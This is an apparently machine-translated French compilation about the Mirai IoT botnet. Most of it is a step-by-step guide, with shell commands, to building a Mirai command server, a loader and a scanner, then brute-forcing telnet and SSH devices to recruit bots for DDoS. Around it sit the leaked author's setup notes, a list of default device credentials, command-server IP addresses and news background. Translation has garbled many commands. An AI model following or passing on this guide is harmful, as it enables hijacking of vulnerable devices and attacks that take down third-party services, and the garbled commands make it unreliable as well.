Code source de Mirai. Installation et configuration du botnet Mirai. Principe de fonctionnement du Mirai

À la base, Mirai fonctionne simplement : il analyse Internet à la recherche d'appareils IoT accessibles via telnet et vulnérables à la force brute et au piratage. Le malware attaque principalement les caméras de surveillance, les DVR et les routeurs, puis continue de se multiplier comme un ver.

Des attaques DDoS menées récemment par ce botnet et le plus important d'Europe. La puissance d’attaque maximale a atteint 620 Gbit/s et plus de 1 Tb/s. Pour obtenir de tels résultats, les attaquants ont utilisé des inondations UDP, DNS et HTTP, ainsi que des paquets GRE (Generic Routing Encapsulation), que les experts ont reconnus comme étant très inhabituels.

Les conclusions des spécialistes de MalwareTech coïncident généralement avec ces observations. Ainsi, sur une période de douze heures, les chercheurs ont enregistré environ 72 000 adresses IP uniques, et 4 000 nouvelles adresses IP sont apparues chaque heure. Les analystes en ont conclu que la taille du botnet est très modeste : seulement environ 120 000 appareils par jour. Et bien que le réseau de zombies soit beaucoup plus vaste et compte entre 1 et 1,5 million de robots, ni les chercheurs de MalwareTech ni les spécialistes d'Akamai ne sont d'accord avec cette affirmation.

"Mirai, qui était auparavant largement ignoré en raison de la simplicité des attaques telnet, est devenu la semaine dernière un sujet de discussion majeur dans les médias du monde entier, les forces de l'ordre ayant lancé des enquêtes, avec le soutien de nombreuses entreprises internationales", écrivent les chercheurs. . « Il est fort probable que les puissantes attaques DDoS deviendront désormais une pratique plus courante à mesure que les pirates découvrent de plus en plus d'appareils IoT vulnérables ou commencent à infecter des appareils protégés par NAT. Il est définitivement temps pour les fabricants d'arrêter de publier des appareils avec des mots de passe globaux par défaut et de passer à des appareils avec des mots de passe générés aléatoirement au bas du boîtier. »

En plus du rapport, les chercheurs de MalwareTech ont inclus une vidéo montrant une carte des infections Mirai (voir ci-dessous). Sur le site Web des chercheurs, vous trouverez également une carte interactive du botnet, mise à jour en temps réel.

Nous aurons besoin de deux serveurs VPS KVM et d'un domaine. La virtualisation est KVM, OpenVZ manque cette fois.

Je prends les serveurs ici -

Nous installerons le botnet lui-même sur un serveur et analyserons les robots sur le second. (brutal)

IMPORTANT. Les serveurs doivent être basés sur Debian 8 et disposer d'au moins 1 Go de RAM.

N'importe quel domaine, peu importe.

Désolé, bien sûr, mais je ne vous expliquerai pas comment attacher un domaine à un VPS. Ce n'est pas difficile, vous le découvrirez vous-même.

Mastic et commençons.

# apt-get mise à jour -y

# apt-get mise à niveau -y

# apt-get install décompressez l'écran de clôture électrique gcc golang sudo git -y

# apt-get install serveur-mysql -y

# apt-get install client-mysql -y

# apt-get install apache2 -y

Lors de l'installation de MySQL, vous devrez créer un mot de passe pour accéder à MySQL pour l'utilisateur root. Vous obtiendrez un mot de passe normal, sans aucun « qwerty »

Écrivez-le quelque part, nous en aurons encore besoin.

# sudo apt-get install curl git mercurial make binutils bison gcc build-essential -y

#frapper< <(curl -s -S -L

Vous devez être inscrit pour voir les liens.

)

# gvm installe go1.4

# gvm utilise go1.4 [--default]

# gvm installe go1.4 -B

# gvm utilise go1.4

# export GOROOT_BOOTSTRAP=$GOROOT

# gvm installe go1.5

# gvm utilise go1.5

# gvm installe go1.8

# gvm utilise go1.8

Après avoir installé tous les utilitaires, téléchargez les sources du bot -

Vous devez être inscrit pour voir les liens.

Et téléchargez-le sur le serveur. Équipe wget, ou simplement via le programme WinSCP.

# décompressez Mirai-Source-Code-master.zip

# cd Mirai-Source-Code-Master/mirai/tools

# gcc enc.c -o enc

# ./enc chaîne *******(nous écrivons notre domaine, qui est attaché au serveur) et appuyez sur Entrée.

Ici, vous verrez le texte suivant -

XOR" sur 14 octets de données...

\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22

14 - ici vous aurez un numéro différent, alors ne vous inquiétez pas, tout est correct.

Nous copions tout ce texte.

Ouvrir via l'éditeur nano ou via WinSCP déposer table.c qui est dans le dossier mirai/bot

Je dois voir ça -

Vous devez être inscrit pour voir les liens.

Doubler add_entry(TABLE_CNC_DOMAIN- changez tout ce qui est entre guillemets dans votre texte que vous venez de copier. Au lieu de " 30 " Nous écrivons notre numéro, que nous venons également de copier. On fait la même chose avec la ligne add_entry(TABLE_SCAN_CB_DOMAIN

Enregistrez et fermez l'éditeur.

Ouvrez le fichier avec un éditeur mirai/cnc/main.go

Nous voyons ceci -

Vous devez être inscrit pour voir les liens.

"127.0.0.1" changer pour "127.0.0.1:3306"

"mot de passe" Nous changeons le mot de passe que nous avons entré plus tôt par notre MySQL. "

Enregistrez le fichier et fermez l'éditeur.

Copiez simplement toutes ces conneries, je ne vous dirai pas pourquoi c'est nécessaire -

# mkdir /etc/xcompile

# cd /etc/xcompile

#wget

Vous devez être inscrit pour voir les liens.

#wget

Vous devez être inscrit pour voir les liens.

#wget

Vous devez être inscrit pour voir les liens.

#wget

Vous devez être inscrit pour voir les liens.

#wget

Vous devez être inscrit pour voir les liens.

#wget

Vous devez être inscrit pour voir les liens.

#wget

Vous devez être inscrit pour voir les liens.

#wget

Vous devez être inscrit pour voir les liens.

#wget

Vous devez être inscrit pour voir les liens.

# tar -jxf cross-compiler-armv4l.tar.bz2

# tar -jxf cross-compiler-i586.tar.bz2

# tar -jxf cross-compiler-m68k.tar.bz2

# tar -jxf cross-compiler-mips.tar.bz2

# tar -jxf cross-compiler-mipsel.tar.bz2

# tar -jxf cross-compiler-powerpc.tar.bz2

# tar -jxf cross-compiler-sh4.tar.bz2

# tar -jxf cross-compiler-sparc.tar.bz2

# tar -jxf cross-compiler-armv6l.tar.bz2

# rm *.tar.bz2

# mv cross-compiler-armv4l armv4l

# mv cross-compiler-i586 i586

#mv compilateur croisé-m68k m68k

# mv cross-compiler-mips mips

# mv cross-compiler-mipsel mipsel

# mv cross-compiler-powerpc powerpc

# mv cross-compilateur-sh4 sh4

# mv cross-compiler-sparc sparc

# mv cross-compiler-armv6l armv6l

# export PATH=$PATH:/etc/xcompile/armv4l/bin

# export PATH=$PATH:/etc/xcompile/i586/bin

# export PATH=$PATH:/etc/xcompile/m68k/bin

# export PATH=$PATH:/etc/xcompile/mips/bin

# export PATH=$PATH:/etc/xcompile/mipsel/bin

# export PATH=$PATH:/etc/xcompile/powerpc/bin

# export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin

# export PATH=$PATH:/etc/xcompile/sh4/bin

# export PATH=$PATH:/etc/xcompile/sparc/bin

# export PATH=$PATH:/etc/xcompile/armv6l/bin

# export PATH=$PATH:/usr/local/go/bin

# export GOPATH=$HOME/Documents/go

# allez chercher github.com/go-sql-driver/mysql

# allez chercher github.com/mattn/go-shellwords

# cd Mirai-Source-Code-master/mirai

# ./build.sh débogage telnet

# ./build.sh publie telnet

# mv mirai* /var/www/html

# cd /var/www/html

#mkdirbins

#mv*bacs/

Maintenant MySQL.

# mysql -u racine -p

Ici, il vous sera demandé un mot de passe. Saisissez le mot de passe que vous avez défini précédemment.

# créer la base de données Mirai ;

# utiliser Mirai

Copiez maintenant tout le texte d'ici -

Vous devez être inscrit pour voir les liens.

Collez-le et appuyez sur Entrée.

Copiez le texte d'ici -

Vous devez être inscrit pour voir les liens.

Au lieu de Anna-senpaiécrivez votre login. N'importe lequel. Pareil avec mon mot de passe génial. Nous aurons besoin de ces données pour accéder au panneau de contrôle du bot.

Ça devrait être comme ça - INSÉRER DANS LES VALEURS des utilisateurs (NULL, "pizdec", "zaebalsjapisatj", 0, 0, 0, 0, -1, 1, 30, "");

Copiez, collez, appuyez sur Entrée.

Maintenant tu peux sortir.

C'est presque fini.

# cd Mirai-Source-Code-master/mirai/release

# toucher prompt.txt

# écran ./cnc

Il faut voir l'inscription Base de données MySQL ouverte

On ne ferme pas cette session, on en ouvre une nouvelle.

Vous devez être inscrit pour voir les liens.

Au lieu de *******, écrivez votre domaine et cliquez sur Ouvrir.

Entrez votre nom d'utilisateur et votre mot de passe, dans mon cas c'est -

zaebalsjapisatj

Ça y est, nous sommes dans le panneau de contrôle du bot.

Maintenant, nous avons besoin de robots. Tout est simple ici, aucune installation n'est nécessaire.

Configurons le chargeur.

Un chargeur est nécessaire pour que des robots puissent être ajoutés à partir de fichiers texte. Disons que nous avons créé un tas d'appareils (routeurs, caméras, téléphones) et que pour les ajouter au bot, nous avons besoin d'un chargeur.

Le chargeur est également un "ver"

Connectez-vous à notre serveur via PuTTY et WinSCP.

En utilisant WinSCP, nous trouvons le fichier principal c dans le dossier Mirai-Source-Code-master/dlr

Nous écrivons l'IP de notre serveur comme dans la capture d'écran -

Vous devez être inscrit pour voir les liens.

On laisse les virgules, c’est comme ça que ça devrait être. Sauver et fermer.

Maintenant avec PyTTY allez sur notre serveur et écrivez -

# cd Mirai-Source-Code-master/dlr

# chmod 777 *

# ./build.sh

# sortie de CD

# mv dlr* ~/Mirai-Source-Code-master/loader/bins

Maintenant ouvrons WinSCP et trouve le fichier principal c dans le dossier Mirai-Source-Code-master/loader/src

Nous le changeons par notre IP comme dans la capture d'écran -

Vous devez être inscrit pour voir les liens.

Sauver et fermer.

À travers Mastic -

# ./build.sh

En utilisant WinSCP ouvrir le fichier scanListen.go que l'on trouve dans le dossier Mirai-Source-Code-master/mirai/tools

Changez l'adresse IP de votre serveur -

Vous devez être inscrit pour voir les liens.

Puis avec PyTTY -

# cd Mirai-Source-Code-master/mirai/tools

# allez construire scanListen.go

Nous avons maintenant un nouveau fichier - scannerÉcouter(sans .aller, Juste scannerÉcouter)

scannerÉcouter doit être déplacé vers un dossier Mirai-Source-Code-master/loader

Juste avec de l'aide WinSCP mets-le dans un dossier chargeur

Vérifions maintenant si tout fonctionne

# ./chargeur

Si vous voyez ce qu'il y a à l'écran, alors tout est correct -

Vous devez être inscrit pour voir les liens.

Si des erreurs surviennent, écrivez sur le sujet, je vous aiderai.

Pour télécharger des robots de la liste, déposez le fichier texte dans le dossier chargeur et tapez la commande -

# liste de chats.txt | ./chargeur

Ça y est, tous les robots que vous avez recrutés seront avec vous, ils feront planter des sites sous vos ordres.

Personnellement, je n'ai pas utilisé cette méthode, j'ai trouvé un moyen plus simple.

Ici, nous avons besoin d'un deuxième serveur. Aussi sur Debian 8.

# apt-get mise à jour -y

# apt-get mise à niveau -y

# apt-get install python-paramiko -y

# apt-get install zmap -y

zmap nous en avons besoin pour l'analyse des ports. Le principe de fonctionnement est le même que KPortScan, seulement 50 fois plus rapide.

Copiez tout le code d'ici -

Vous devez être inscrit pour voir les liens.

Et enregistrez sous scan.py

Ici vous pouvez ajouter vos mots de passe et identifiants -

Vous devez être inscrit pour voir les liens.

Chaîne combo ne touchez pas !

Ici, vous devez enregistrer l'adresse IP du serveur sur lequel se trouve le bot -

Vous devez être inscrit pour voir les liens.

Nous changeons tout et le sauvons.

Nous déposons le fichier scan.py n'importe où sur notre serveur. Sur le deuxième serveur, qui est purement destiné au scanning, celui sur lequel on ne touche pas au bot.

Nous avons besoin d'adresses IP que nous analyserons.

#zmap -p22 -o liste.txt -B 100M(vous pouvez scanner d'autres ports, j'ai toujours scanné 22 ou 23)

Tous les résultats seront dans le fichier liste.txt

Après avoir collecté le fichier IP (plus il y en a, mieux c'est) liste.txt jette-le à côté du fichier scan.py et écrire -

# python scan.py list.txt 500

Ça y est, nous nous asseyons et regardons comment notre botnet se développe.

Lorsqu'il y a au moins 200 bots, vous pouvez lancer le chargeur.

Pour ce faire, rendez-vous sur le serveur sur lequel le botnet est installé et -

# cd Mirai-Source-Code-master/loader

# ulimit -n 9999999

# ./scanÉcouter | ./chargeur

Désormais, le bot fonctionnera comme un « ver » et éliminera davantage de robots.

La semaine dernière, le code source des composants du botnet Mirai, utilisé dans des attaques DDoS record avec une capacité allant jusqu'à 1 To/s, a été divulgué en ligne.

Art. 273 du Code pénal de la Fédération de Russie. Création, utilisation et distribution de programmes informatiques malveillants

1. Création, distribution ou utilisation de programmes informatiques ou d'autres informations informatiques, sciemment destinés à la destruction, au blocage, à la modification, à la copie non autorisée d'informations informatiques ou à la neutralisation des moyens de protection des informations informatiques, -

sera puni d'une restriction de liberté d'une durée maximale de quatre ans, ou de travaux forcés d'une durée maximale de quatre ans, ou d'une peine d'emprisonnement pour la même durée assortie d'une amende pouvant aller jusqu'à deux cent mille roubles ou de montant du salaire ou des autres revenus de la personne condamnée pour une période pouvant aller jusqu'à dix-huit mois.

2. Les actes prévus à la première partie du présent article, commis par un groupe de personnes par conspiration préalable ou par un groupe organisé ou par une personne usant de sa position officielle, ainsi que ceux qui ont causé des dommages importants ou ont été commis par intérêt égoïste. , -

sera passible d'une restriction de liberté pour une durée maximale de quatre ans, ou de travaux forcés pour une durée maximale de cinq ans avec privation du droit d'occuper certains postes ou de se livrer à certaines activités pour une durée maximale de trois ans ou sans cela, ou une peine d'emprisonnement pouvant aller jusqu'à cinq ans avec une amende de cent mille à deux cent mille roubles ou à hauteur du salaire ou d'autres revenus de la personne condamnée pour une période de deux à trois ans ou sans cela et avec ou sans privation du droit d'occuper certains postes ou d'exercer certaines activités pour une durée pouvant aller jusqu'à trois ans.

3. Actes prévus aux première ou deuxième parties du présent article, s'ils entraînent de graves conséquences ou créent une menace de leur survenance, -

est passible d'une peine d'emprisonnement pouvant aller jusqu'à sept ans.

Ce botnet se compose principalement de caméras, d'appareils DVR, etc.

L'infection se produit tout simplement : Internet est analysé à la recherche de ports 80/23 (web/telnet) ouverts et les comptes codés en dur sont sélectionnés.

Peu d'utilisateurs modifient les mots de passe de leurs comptes intégrés (si possible), de sorte que le botnet est constamment réapprovisionné avec de nouveaux appareils. Si vous pouvez modifier le mot de passe de l'interface Web pendant que vous y êtes, alors le mot de passe et la présence même d'un accès telnet échappent tout simplement à de nombreux utilisateurs.

Les comptes les plus couramment utilisés sont :

activer:système
coquille:sh
administrateur:administrateur
racine : xc3511
racine : vizxv
racine : administrateur
racine:xmhdipc
racine : 123456
racine :888888
assistance:assistance
racine : 54321
racine : Juantech
racine:anko
racine : 12345
administrateur :
racine : par défaut
mot de passe administrateur
racine:racine
racine:
utilisateur:utilisateur
administrateur : administrateur smc
racine: passer
administrateur:admin1234
racine : 1111
invité : 12345
racine : 1234
racine: mot de passe
racine : 666666
administrateur : 1111
service:service
système racinaire
superviseur:superviseur
racine : klv1234
administrateur : 1234
racine : ikwb
racine:Zte521

Après avoir obtenu l'accès, le centre de commande reçoit une notification binaire concernant la présence d'un nouveau bot :

4a 9a d1 d1 = XXX.XXX.XXX.XXX (l'adresse de l'hôte était ici)
05 = Onglet
17 = 23 (Port 23 Telnet)
05 = Onglet
61 64 6d 69 6e = nom d'utilisateur : admin admin
05=Onglet
61 64 6d 69 6e = mot de passe utilisateur : admin

Les composants du botnet sont conçus pour fonctionner dans différents environnements, comme en témoignent les exemples identifiés :

mirai.bras
mirai.arm7
mirai.mips
mirai.ppc
mirai.sh4

Les serveurs de commandes se trouvent actuellement aux adresses suivantes :

103.1.210.27
103.1.210.28
185.130.225.65
185.130.225.66
185.130.225.83
185.130.225.90
185.130.225.94
185.130.225.95
185.70.105.161
185.70.105.164
185.93.185.11
185.93.185.12
200.170.143.5
46.249.38.145
46.249.38.146
46.249.38.148
46.249.38.149
46.249.38.150
46.249.38.151
46.249.38.152
46.249.38.153
46.249.38.154
46.249.38.155
46.249.38.159
46.249.38.160
46.249.38.161
80.87.205.10
80.87.205.11

Les instructions pour créer un botnet sont assez simples, les voici telles quelles (source http://pastebin.com/E90i6yBB) :

Bonjour à tous,

Lorsque je me suis lancé dans l’industrie DDoS, je n’avais pas prévu d’y rester longtemps. J'ai gagné mon argent, il y a beaucoup d'yeux qui se tournent vers l'IOT maintenant, il est donc temps de passer à GTFO. Cependant, je connais tous les dérapages et leur maman, c'est leur rêve d'avoir autre chose que qbot.

Alors aujourd’hui, j’ai une sortie incroyable pour vous. Avec Mirai, j'extraire généralement un maximum de 380 000 robots à partir de Telnet uniquement. Cependant, après le DDoS de Kreb, les FAI ont lentement fermé leurs portes et mis de l'ordre dans leurs affaires. Aujourd'hui, l'attraction maximale est d'environ 300 000 robots, et elle diminue.

Donc, je suis ton senpai, et je te traiterai très gentiment, mon hf-chan.

Et à tous ceux qui pensaient faire quelque chose en frappant ma CNC, j'ai bien ri, ce bot utilise un domaine pour la CNC. Il faut 60 secondes à tous les robots pour se reconnecter, mdr

Merci également à ce billet de blog rédigé par malwaremustdie
http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html
https://web.archive.org/web/20160930230210/http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html<- backup in case low quality reverse engineer unixfreaxjp decides to edit his posts lol
J'avais beaucoup de respect pour vous, je pensais que vous étiez un bon inverseur, mais vous avez vraiment complètement et totalement échoué à inverser ce binaire. "Nous avons toujours un meilleur kung-fu que vous, les enfants", ne me faites pas rire s'il vous plaît, vous avez fait tellement d'erreurs et avez même confondu certains binaires différents avec le mien. MDR

Laissez-moi vous rendre quelques gifles—
1) le port 48101 n'est pas destiné à la connexion arrière, mais au contrôle afin d'empêcher plusieurs instances de bot de fonctionner ensemble
2) /dev/watchdog et /dev/misc ne servent pas à « faire le retard », mais à empêcher le système de se bloquer. Celui-ci est un fruit à portée de main, si triste que vous êtes extrêmement stupide
3) Vous avez échoué et pensé que FAKE_CNC_ADDR et FAKE_CNC_PORT étaient de vrais CNC, mdr "Et vous faites la porte dérobée pour vous connecter via HTTP sur 65.222.202.53." tu t'es fait trébucher à cause du flux de signaux ;) essaie plus fort, skiddo
4) Votre outil squelette est nul, il pensait que le décodeur d'attaque était du « style sinden », mais il n'utilise même pas de protocole basé sur du texte ? La CNC et le bot communiquent via un protocole binaire
5) tu dis 'chroot('/') tellement prévisible comme torlus' mais tu ne comprends pas, d'autres tuent en fonction du cwd. Cela montre à quel point vous êtes déconnecté des vrais logiciels malveillants. Retourner au skidland

Pourquoi écrivez-vous des outils d’ingénierie inverse ? Vous ne pouvez même pas faire marche arrière correctement en premier lieu. Veuillez d'abord acquérir certaines compétences avant d'essayer d'impressionner les autres. Votre arrogance en déclarant comment vous « m'avez battu » avec votre stupide déclaration de kung-fu m'a fait tellement rire en mangeant mon SO qu'il a dû me tapoter le dos.

Tout comme je serai toujours libre, vous serez voué à jamais à la médiocrité.

Exigences
2 serveurs : 1 pour CNC + mysql, 1 pour le récepteur de scan et 1+ pour le chargement

Exigences du PO
2 VPS et 4 serveurs
— 1 VPS avec hôte extrêmement à toute épreuve pour serveur de base de données
— 1 VPS, rootkitté, pour scanReceiver et distributeur
— 1 serveur pour CNC (utilisé comme 2 % de CPU avec 400 000 robots)
— 3x serveurs NForce 10 Gbit/s pour le chargement (le distributeur distribue à 3 serveurs de manière égale)

— Pour établir une connexion à la CNC, les robots résolvent un domaine (resolv.c/resolv.h) et se connectent à cette adresse IP
— Les robots brutent telnet à l'aide d'un scanner SYN avancé qui est environ 80 fois plus rapide que celui de qbot et utilise près de 20 fois moins de ressources. Lorsqu'il trouve un résultat brut, le bot résout un autre domaine et le signale. Celui-ci est lié à un serveur distinct pour être automatiquement chargé sur les appareils au fur et à mesure que les résultats arrivent.
— Les résultats brutés sont envoyés par défaut sur le port 48101. L'utilitaire appelé scanListen.go dans les outils est utilisé pour recevoir les résultats brutés (j'obtenais environ 500 résultats brutés par seconde au maximum). Si vous construisez en mode débogage, vous devriez voir l'utilitaire scanListen binaire apparaître dans le dossier de débogage.

Mirai utilise un mécanisme de diffusion similaire à l'auto-représentation, mais ce que j'appelle « chargement en temps réel ». Fondamentalement, les robots brutaux envoient les résultats à un serveur d'écoute avec l'utilitaire scanListen, qui envoie les résultats au chargeur. Cette boucle (brute -> scanListen -> load -> brute) est connue sous le nom de chargement en temps réel.

Le chargeur peut être configuré pour utiliser plusieurs adresses IP pour contourner l'épuisement des ports sous Linux (le nombre de ports disponibles est limité, ce qui signifie qu'il n'y a pas suffisamment de variation dans le tuple pour obtenir plus de 65 000 connexions sortantes simultanées - en théorie, cette valeur est beaucoup moins). J'aurais peut-être 60 000 à 70 000 connexions sortantes simultanées (chargement simultané) réparties sur 5 IP.
Bot dispose de plusieurs options de configuration qui sont obscurcies dans (table.c/table.h). Dans ./mirai/bot/table.h tu peux trouvez la plupart des descriptions des options de configuration. Cependant, dans ./mirai/bot/table.c, vous *devez* modifier quelques options pour commencer à travailler.

— TABLE_CNC_DOMAIN — Nom de domaine de la CNC à laquelle se connecter — Évitement des DDoS très amusant avec Mirai, les gens essaient d'accéder à ma CNC mais je la mets à jour plus vite qu'ils ne peuvent trouver de nouvelles IP, mdr. Des retards :)
- TABLE_CNC_PORT - Port auquel se connecter, il est déjà défini sur 23
— TABLE_SCAN_CB_DOMAIN — Lors de la recherche de résultats bruts, ce domaine auquel il est signalé
— TABLE_SCAN_CB_PORT — Port auquel se connecter pour les résultats bruts, il est déjà défini sur 48101.

Dans ./mirai/tools, vous trouverez quelque chose appelé enc.c — Vous devez le compiler pour afficher les éléments à mettre dans le fichier table.c

Exécutez dans ce répertoire mirai

./build.sh débogage telnet

Vous obtiendrez des erreurs liées à l’absence de compilateurs croisés si vous ne les avez pas configurés. C'est ok, cela n'affectera pas la compilation de l'outil enc

Maintenant, dans le dossier ./mirai/debug, vous devriez voir un binaire compilé appelé enc. Par exemple, pour obtenir une chaîne obscurcie pour le nom de domaine auquel les robots peuvent se connecter, utilisez ceci :

./debug/enc chaîne baise.the.police.com
La sortie devrait ressembler à ceci

XOR'ing 20 octets de données…
\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22
Pour mettre à jour la valeur TABLE_CNC_DOMAIN par exemple, remplacez cette longue chaîne hexadécimale par celle fournie par l'outil enc. En outre, vous voyez « XOR’ing 20 octets de données ». Cette valeur doit également remplacer le dernier argument. Ainsi, par exemple, la ligne table.c ressemble à l'origine à ceci
add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); //cnc.changeme.com
Maintenant que nous connaissons la valeur de l'outil enc, nous le mettons à jour comme ceci

add_entry(TABLE_CNC_DOMAIN, "\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22″, 20); //fuck.the.police.com
Certaines valeurs sont des chaînes, d'autres sont des ports (uint16 dans l'ordre réseau/big endian).
CONFIGURER LA CNC :
apt-get installer le serveur mysql client mysql

La CNC nécessite une base de données pour fonctionner. Lorsque vous installez la base de données, accédez-y et exécutez les commandes suivantes :
http://pastebin.com/86d0iL9g

Cela créera une base de données pour vous. Pour ajouter votre utilisateur,

INSÉRER DANS LES VALEURS des utilisateurs (NULL, 'anna-senpai', 'myawesomepassword', 0, 0, 0, 0, -1, 1, 30, ");
Maintenant, allez dans le fichier ./mirai/cnc/main.go

Modifiez ces valeurs
chaîne const DatabaseAddr = "127.0.0.1"
const DatabaseUser chaîne = "racine"
const DatabasePass chaîne = "mot de passe"
const DatabaseTable chaîne = "mirai"
Vers les informations pour le serveur mysql tu viens d'installer

Les compilateurs croisés sont simples, suivez les instructions sur ce lien pour les configurer. Vous devez redémarrer votre système ou recharger le fichier .bashrc pour que ces modifications prennent effet.

http://pastebin.com/1rRCc3aD
La CNC, le bot et les outils associés :
http://dopefile.pk/a9f2n9ewk8om
Comment construire un bot + CNC
Dans le dossier mirai, il y a le script build.sh.
./build.sh débogage telnet

Affichera les binaires de débogage du bot qui ne seront pas démonisés et imprimera des informations indiquant s'il peut se connecter à la CNC, etc., l'état des inondations, etc. Compile dans le dossier ./mirai/debug
./build.sh publie telnet

Produira des binaires de bot prêts pour la production qui sont extrêmement dépouillés, petits (environ 60 Ko) et qui doivent être chargés sur les appareils. Compile tous les binaires au format : « mirai.$ARCH » dans le dossier ./mirai/release

Le chargeur lit les entrées telnet de STDIN au format suivant :
ip:port utilisateur:pass
Il détecte s'il existe wget ou tftp et essaie de télécharger le binaire en l'utilisant. Sinon, il chargera par écho un petit binaire (environ 1 Ko) qui suffira comme wget.
./build.sh

Va construire le chargeur, optimisé, utilisation en production, sans chichi. Si vous disposez d'un fichier dans les formats utilisés pour le chargement, vous pouvez le faire
fichier chat.txt | ./chargeur
Pensez à limiter !

Juste pour que ce soit clair, je ne propose aucun type de tutoriel d'aide individuel ou de la merde, trop de temps. Tous les scripts et tout sont inclus pour configurer un botnet fonctionnel en moins d'une heure. Je suis prêt à vous aider si vous avez des questions individuelles (comment se fait-il que la CNC ne se connecte pas à la base de données, je l'ai fait ce bla bla), mais pas de questions comme « Mon robot ne se connecte pas, réparez-le »

C’est le cheval de Troie sur lequel tout le monde parle depuis quelques semaines. Parmi les réalisations les plus impressionnantes des botnets créés avec son aide figure une capacité de plus d'un térabit et dans un petit pays africain.

Combien d’ordinateurs a-t-il asservi pour cela ?

Pas du tout. Ou du moins très peu. Les appareils cibles de Mirai ne sont pas du tout des ordinateurs, mais des appareils IoT - enregistreurs vidéo, caméras, grille-pain... Selon les statistiques de Level 3 Communications, fin octobre, environ un demi-million d'appareils étaient déjà sous le contrôle du cheval de Troie.

Et quoi, il peut attraper n'importe quelle caméra avec un réfrigérateur ?

Pas vraiment. Mirai est conçu pour les appareils exécutant Busybox - un ensemble simplifié d'utilitaires UNIX ligne de commande, qui est utilisé comme interface principale dans les applications embarquées systèmes d'exploitation. Le cheval de Troie n'attaque que certaines plates-formes, telles que ARM, ARM7, MIPS, PPC, SH4, SPARC et x86. Seuls les appareils avec des paramètres d'usine ou une protection très faible sont à risque - l'infection se produit à l'aide d'une attaque par force brute sur le port Telnet, pour laquelle la liste par défaut des informations d'identification de l'administrateur est utilisée.

Il est en quelque sorte inefficace de rechercher des caméras sur tout Internet sans mot de passe, n'est-ce pas ?

Mais ils n’ont pas bien deviné. Un journaliste de The Atlantic a loué un serveur et a écrit un programme qui se fait passer pour un grille-pain. La première attaque sur un « électroménager » s’est produite au bout de 40 minutes ! Au cours des 11 heures suivantes, le grille-pain a été piraté plus de 300 fois. Le fait est que les botnets ont atteint des tailles sans précédent et que leur espace d’adressage IPv4 est très réduit. De plus, il convient de rappeler que les pirates ne recherchent pas manuellement les appareils vulnérables : cela est fait par les membres du botnet. Et comme chaque « employé » nouvellement converti commence également à rechercher des victimes, le botnet croît de façon exponentielle.

Géométriquement ? Donc dans un an, les botnets contiendront des milliards d’appareils ?!

Bien sûr que non 😀 Le fait est que le nombre d’appareils IoT est limité. Et c’est déjà un problème assez urgent. L'auteur de Mirai admet que le nombre maximum d'appareils sur son réseau était de 380 000 et qu'après plusieurs attaques, lorsque les utilisateurs et les fournisseurs ont commencé à prendre des mesures de protection, le nombre d'appareils est tombé à 300 000 et continue de diminuer.

Après que le code source de Mirai ait été rendu public, de nombreux pirates ont commencé à l'utiliser. Actuellement, le nombre de grands botnets basés sur ce cheval de Troie est d'environ 52. Il convient de préciser que chaque appareil ne peut appartenir qu'à un seul réseau : immédiatement après la capture d'un appareil, le malware le protège d'une nouvelle infection. Le seul cas où un appareil peut être transféré à un autre « propriétaire » est lors du redémarrage de l’appareil. Selon les experts, après un redémarrage, l’appareil sera à nouveau infecté dans les 30 secondes.

Donc l’efficacité de Mirai diminue ?

Oui. Les pirates sont obligés de se battre pour une quantité limitée de ressources, qui diminue (en raison des précautions) plutôt que d'augmenter. La situation est encore compliquée par le fait que les pirates sont extrêmement égoïstes - par exemple, après qu'un serveur de commande et de contrôle (C&C) majeur du botnet a été simplement désactivé - le botnet s'est avéré désormais inutile et invulnérable à de nouvelles attaques. Chaque nouveau réseau basé sur Mirai sera plus petit que les précédents et ne pourra effectuer que des attaques de faible puissance. Par exemple, lors des élections américaines, de faibles attaques ont été menées contre les sites Internet de Clinton et de Trump. Ils n'ont causé aucun dommage et personne ne les a remarqués (à l'exception de la société qui surveille spécifiquement les actions de ce cheval de Troie).

Il est clair. Quelles autres informations intéressantes connaît-on sur ce cheval de Troie ?

Il s'agit du successeur d'un autre cheval de Troie connu sous les noms de Gafgyt, Lizkebab, BASHLITE, Bash0day, Bashdoor et Torlus. Ce dernier est connu pour être capable de maîtriser environ un million de webcams, selon le même Level 3 Communications. On sait également que la plupart des botnets n'utilisent pas une copie pure de Mirai, mais leurs propres versions modifiées (ce qui est tout à fait attendu).

Un autre fait intéressant c'est que les utilisateurs de RuNet ont trouvé dans code source Trace russe Mirai - dans le fichier cnc/admin.go il y a une sortie de commentaires en russe :

cnc/admin.go : this.conn.Write(byte("\033))

D'un autre côté, cela ressemble plus à une blague : « vérifier les comptes... » est une copie évidente (traduction automatique ?) de « vérifier les comptes ».

Le mois dernier, des attaques ont eu lieu contre de grands sites comme Twitter ou Spotify, qui les a temporairement désactivés. Un botnet a été utilisé pour cela Mirai, réunissant 400 à 500 000 appareils Internet des objets. Les journalistes de Carte mère ont appris que deux pirates ont réussi à prendre le contrôle du botnet et à en créer une nouvelle version - il fédère déjà un million d'appareils. Les abonnés du fournisseur allemand ont expérimenté sa puissance Deutsche Telekom, dont le réseau était en panne le week-end dernier.

À la recherche de Mirai

Les journalistes ont réussi à parler à l'un de ces deux mystérieux hackers - il utilise le surnom de BestBuy. Dans une conversation en ligne cryptée, il leur a déclaré qu'il y avait une véritable lutte entre les pirates pour le contrôle de Mirai. Une vulnérabilité a été récemment découverte dans son logiciel. Son utilisation, couplée à sa rapidité, pourrait permettre à BestBuy et à son partenaire Popopret de prendre le contrôle de la majeure partie du botnet et d'y ajouter de nouveaux appareils.

